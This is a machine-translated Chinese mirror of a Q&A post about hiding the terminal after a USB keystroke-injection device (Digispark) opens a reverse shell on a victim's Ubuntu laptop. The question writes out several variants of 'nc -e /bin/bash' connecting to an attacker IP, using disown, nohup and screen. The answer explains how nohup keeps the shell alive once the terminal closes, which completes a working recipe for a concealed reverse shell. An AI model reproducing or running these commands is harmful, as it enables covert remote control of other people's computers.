簡體   English   中英

隱藏反shell端子無屏

[英]Hide a reverse shell terminal without screen

場景:攻擊者將充當鍵盤的 USB 插入受害者的筆記本電腦。 有效載荷打開一個終端,執行反向 shell 並隱藏終端。

問題:我在本地進行的測試(ubuntu 19.04,和 digispark as usb)如下:

終端A nc -e /bin/bash 10.10.10.10 8888

終端 B nc -vlp 8888

一切正常,我的 shell 在終端 B 上有提示,但終端 A 沒有隱藏。 那么在這種情況下它是沒有用的。

終端A nc -e /bin/bash 10.10.10.10 8888&; disown; exit nc -e /bin/bash 10.10.10.10 8888&; disown; exit

終端 B nc -vlp 8888

終端 B 只是掛起,終端 A 被隱藏。 無用。

終端A nohup nc -e /bin/bash 10.10.10.10 8888&; exit nohup nc -e /bin/bash 10.10.10.10 8888&; exit

終端 B nc -vlp 8888

終端 B 只是掛起,終端 A 被隱藏

終端 A:我打開screen ,然后執行nc -e /bin/bash 10.10.10.10 8888CTRL^A ,然后d ,最后exit

終端 B nc -vlp 8888

使用screen一切正常(終端 B 接收到工作 shell 並且終端 A 不可見)但我不想使用 screen 因為它默認未安裝。

問題:有沒有辦法(使用預裝的工具)隱藏沒有screen但效果相同的終端?

nohup nc ...&; disown; exit

shell 退出后,終端將注銷或關閉(取決於它是哪種終端),並向控制進程組發送 SIGHUP,這將導致 nc 退出。

使用nohup會從終端分離並在其自己的進程組中運行nc (因此它將不再位於終端的控制進程組中),因此不會將 SIGHUP 發送給它。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM